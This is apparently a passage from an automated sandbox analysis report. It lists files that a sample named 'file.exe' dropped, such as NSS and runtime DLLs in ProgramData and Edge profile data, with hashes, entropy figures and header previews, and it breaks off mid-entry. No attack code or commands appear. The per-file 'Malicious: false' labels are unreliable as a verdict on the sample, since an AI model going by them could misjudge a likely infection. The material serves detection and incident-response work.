Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\09a34723-272c-4026-9a72-1b303698c435.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44629
Entropy (8bit):	6.096157675335084
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4krkLmZL836KMrxHqcsojfKwWE7RTupzKscDX//NPC1L:z/Ps+wsI7ynLdKMLKoRTuiVIos
MD5:	24F7B803855DD9F7DB7A5A4764EAEADC
SHA1:	18B737B4ED596F1FEB6F7265E5EFB9B47C4667D7
SHA-256:	02E95E5C5CDCED4E8024434EC9E9043906608F0CD777007805DE31E83B978119
SHA-512:	B6A21610B0FAFC4A3F93C9ED3213DC48FE741D1356B514081E184E57CEF764C59658E62C62ECC34F954EDB17D3D11FB96645CDBCA7004636D7CCC31EC1DCB657
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\58f92edd-b10b-413c-9d88-b6b44c8e889a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44711
Entropy (8bit):	6.09590389275422
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xdkLmZL836KM9Np4bbTIBKwWE7RTupzKscDX//NPC1L:z/Ps+wsI7yOZdKMZKoRTuiVIos
MD5:	9B44901684009FB1DAC694892DDC9123
SHA1:	B26E6824B52221DE99172F366124290E61603203
SHA-256:	9CA56BFC8A0650CCB2714AEE47C673BCBBA7CB2AEED2F69FE44A2E29AC84601F
SHA-512:	DB3E8E6374EDC2DA0AC45071EBE4BAB4625712925A232B2E5F990CD885B8F4705337D98F8C72642C569BE645CE8D17D0E92E360B45D6D0DBFDD6B062733BEC40
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\817a3d2a-eff3-48f8-90f2-d696c2546c1d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090577139697609
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kVCLmZtJtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynXtGhOxqQoRTuiVIos
MD5:	27349FEEECF6882E9D94E272D1D1E638
SHA1:	9F768DF4034DE44322DC6FBCE2986EE8385C3397
SHA-256:	2D7ECF078D0BFFF013BEAE568B8903674F6DD9DA5FE3E43F812216188DE1DE55
SHA-512:	1140F0F955A6CD52FCE5269C782066A07EF51357FEEF2E973680470F72DC5A03FDBAD666F5B23F75843B77CBE00910B28A433D2D36A0BC2CA3C92B2A86287F27
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9e01a587-631e-4f24-800e-0805850293bf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45880
Entropy (8bit):	6.087041937670326
Encrypted:	false
SSDEEP:	768:qMkbJrT8IeQc5dXz+9LmZL836KM9Np4bbTIB4H8Du/C1okwWE7RTupzKscDX//Nr:qMk1rT8H1X1dKMZiCgIokoRTuiB
MD5:	A790DA0ECFA7878C8795997252F33634
SHA1:	B0F44F04DD9860B7AA3576AACEB14CF002E6AEE3
SHA-256:	CCC98E25D1CDF0000EC38323E26BDCFA3643432440FE0C4EFB3CB739E174029F
SHA-512:	3792EDB59E99187AF21013BBCE0B6E24CD51540534A2899308DD20ADC942BCF0B345CFB8BAB7640637869227CFB7DE1225FC52561E614FD4F9E7961007D971A4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"6df23a3c-99e2-4a3a-9ea0-7a4415ced877"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732471903"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\e1f490e0-9896-44c6-a9b3-bb53e9689054.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67436C59-1E64.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04726558261421175
Encrypted:	false
SSDEEP:	192:JiCgrY0pqtmunOAQ5YYJPi6VBK/7+HfgHXyYjI0MEYTwghBMNsD+zRQcD/OchNns:o5rY0ctVOd4Kphq3VflhN08T2RGOD
MD5:	62757DF81967E1068FA1C965D84AFEE1
SHA1:	62A3A3FD4FF8B976123A7AC7B2B5A278F68C9503
SHA-256:	81E49EB2611E1B1A0A9A6698D4F4BB093B60B5F12D0DBCBF339754B4821DB0C7
SHA-512:	12593F8057E29809F0AE5F69D683287CD8C1B885BE757031C5563F0660ED0B3090B5D66169DD73C241831C451C002BA0668D8E6C8423ABEEA7588BC07F64C18C
Malicious:	false
Preview:	...@..@...@.....C.].....@...............xj..0Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".dfcahr20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U..G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.................. .2.........5.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67436C59-1F60.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.5052530184736738
Encrypted:	false
SSDEEP:	6144:2Zjla4vLivkcAkUtsj3ShE+3q971DaH1kj:eukcrUtjB
MD5:	ABBEF9A6C496DD590BE9EB8CB328C318
SHA1:	9E82F50F4DFC07E71D8D6F8A9CC613125CBA49E6
SHA-256:	44EB3ED249C81FC5251C58D618B60D926BD10784133A825DD5A1379EC51D473D
SHA-512:	A020F544E6477601051CDE650100A1D86C3887B283113D8BF014877AC6E3ED9A990E1B168E12D196BCA8D857EED7FF50F5BF03551578449994A680F7FEE9B70C
Malicious:	false
Preview:	...@..@...@.....C.].....@...................X...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".dfcahr20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U?:K...G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........V...... .2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.195531555605597
Encrypted:	false
SSDEEP:	3:FiWWltlMpKoKuNoDZbkDURSHxig5ABVP/Sh/JzvNKIUBUhX9USWXQPWllt:o1GVKCoD4Hxi2ABVsJDZYeulX+W/
MD5:	B43C738AB1422F16D60B4C4B49CC7DF2
SHA1:	98C07F5F5E4F25C2BC0B2B5E6A3A2245F7D18215
SHA-256:	C28208A8D5052C44515333D67BE35E9900BB0C1E68DECF8C8CDC8DB67DE51E4C
SHA-512:	07A58D40C283CBDB4063D1EF70EBDAFF8E84CB47F530B939FA25195F9652976CB3E439F315A18D732128E60B5F2856DC1CA42E814DE45F2301DC143A0D22798E
Malicious:	false
Preview:	sdPC.........................TJ.[Y....."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................ecadf109-1d88-4bd2-8ebf-85346832b43e............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\18ae01bb-2b2e-4112-b470-60dc69587393.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16898), with no line terminators
Category:	dropped
Size (bytes):	16900
Entropy (8bit):	5.492463159622199
Encrypted:	false
SSDEEP:	384:stuPGQSu4msh1XYhu3D9LT+bGjQwYy7NIX:sEOXuI1ibGcEw
MD5:	8DE94C11AB4C39C91F154330539DC8C2
SHA1:	5A98FAA0A22BE76166AB7572658F73B1C171A26A
SHA-256:	38FD479BFC11CC59CA4DB662B9E72B5736333AF1F5896A130052AC10F369459C
SHA-512:	6F2018C9DB7520A48BC40C83519283C59001137BA132EC443BE4EADA510CEAD783FC4049506F2B87A2E3EF23536AF20D0D9F6C4DF1771AF721CD6C4F5FB3C92C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376945498602487","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3423d441-c812-474d-9ba3-78fac68adbdc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\471e5845-3924-4066-bd35-941b1f3b9839.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.568330277460373
Encrypted:	false
SSDEEP:	768:gD80SwWPx5fK58F1+UoAYDCx9Tuqh0VfUC9xbog/OVodjmGrwgjfwpCtu+:gD80SwWPx5fK5u1jat5mD0fBtp
MD5:	4D4EA6687C6AAEE5A941532B534803BD
SHA1:	6040FEDF06AFA7ADD7FDEE0EC88E9E4438C8D8FF
SHA-256:	B8B7B87F53B76D34B67F679C157660BAD6F0838D2D454F478602CAF8246F00FD
SHA-512:	169EE658C65AFC312C094712DCC5AB37A7C948A7FB1927CE258E3B581EC2BD730CE72BA48CEF234C48F950AAE63F66B268D0CB239AB31AF5ED013707C870EA2C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376945498001670","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376945498001670","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\61a8a152-345d-40a1-9cfa-def2841203e7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
